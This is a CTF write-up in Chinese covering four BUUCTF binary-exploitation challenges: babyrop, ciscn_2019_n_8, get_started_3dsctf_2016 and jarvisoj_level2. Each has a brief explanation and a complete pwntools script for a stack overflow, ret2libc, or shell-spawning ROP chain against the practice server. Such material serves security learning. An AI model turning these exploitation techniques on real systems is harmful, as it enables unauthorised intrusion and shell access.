PWN-PRACTICE-BUUCTF-3
- [OGeek2019]babyrop
- ciscn_2019_n_8
- get_started_3dsctf_2016
- jarvisoj_level2
[OGeek2019]babyrop
简单的ret2libc,构造rop
main函数中读取一个随机数到buf中,传入sub_804871F
用"\x00"来绕过strlen和strncmp,buf[7]作为返回值
传入sub_804871F返回的buf[7]作为要读取的长度,设置为255,构成栈溢出
最后是ret2libc脚本,一开始用io.sendline()不行,它会自动加一个"\n",在将缓冲区填充满的情况下又加了一个"\n",导致打印不出write_addr,换成io.send()就可以了,它不会自动加"\n"
from pwn import *
#context.log_level="debug"
io=remote('node4.buuoj.cn',29571)
elf=ELF('./pwn')
libc=ELF('./libc-2.23-16-x32.so')
payload="\x00"+"a"*6+p8(255)+"b"*24
io.send(payload)
io.recvuntil('Correct\n')
write_got=elf.got['write']
write_plt=elf.plt['write']
main_addr=0x08048825
payload="a"*(231+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.send(payload)
write_addr=u32(io.recv(4))
print(hex(write_addr))
libc_base=write_addr-libc.sym['write']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh").next()
payload="\x00"+"a"*6+p8(255)+"b"*24
io.send(payload)
io.recvuntil('Correct\n')
payload="a"*(231+4)+p32(system)+p32(0xdeadbeef)+p32(binsh)
io.send(payload)
io.sendline("cat flag")
io.interactive()
ciscn_2019_n_8
main函数中,验证var[13]==0x11是否成立
可以知道var中数组元素都是_DWORD类型的,即双字,四字节,32位
在第13行的if语句中,从var[13]的起始地址开始,读取了一个_QWORD类型的数字,即四字,八字节,64位
于是可以构造输入为,前13个为32位的数字,后接一个64位的0x11,即可验证通过,执行系统调用
from pwn import *
#context.log_level="debug"
io=remote('node4.buuoj.cn',28433)
io.recvuntil("What's your name?\n")
payload=p32(0)*13+p64(0x11)
io.sendline(payload)
io.sendline("cat flag")
io.interactive()
get_started_3dsctf_2016
静态编译的elf
main函数中存在栈溢出,覆盖eip到后门函数get_flag
构造payload的时候,发现main函数是用esp寻址的,不用覆盖ebp,填充完缓冲区后直接覆盖eip
后面的返回地址不能随便填,找到一个exit函数,填exit的地址
最后再带上get_flag函数中要验证的两个参数
from pwn import *
#context.log_level="debug"
io=remote('node4.buuoj.cn',28168)
get_flag=0x080489A0
exit=0x0804E6A0
payload="a"*56+p32(get_flag)+p32(exit)+p32(0x308CD64F)+p32(0x195719D1)
io.sendline(payload)
io.interactive()
jarvisoj_level2
简单的栈溢出,ret2syscall
可执行文件留有system,还给了hint,即"/bin/sh"
利用栈溢出,覆盖eip到system,带上参数hint,即可getshell
from pwn import *
io=remote('node4.buuoj.cn',26226)
elf=ELF('./level2')
io.recvuntil("Input:\n")
hint=elf.sym['hint']
system=elf.plt['system']
main_addr=0x08048480
payload="a"*(136+4)+p32(system)+p32(main_addr)+p32(hint)
io.sendline(payload)
io.sendline("cat flag")
io.interactive()